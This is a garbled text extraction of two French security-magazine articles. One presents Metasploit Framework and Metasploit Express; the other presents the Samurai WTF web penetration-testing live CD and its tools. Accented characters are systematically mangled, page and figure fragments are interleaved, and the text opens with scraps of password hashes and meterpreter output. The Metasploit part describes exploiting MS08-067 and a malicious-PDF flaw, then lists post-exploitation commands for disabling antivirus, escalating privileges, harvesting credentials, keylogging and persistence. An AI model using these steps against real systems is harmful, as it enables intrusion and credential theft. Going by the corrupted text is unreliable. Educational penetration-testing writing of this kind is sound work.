b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

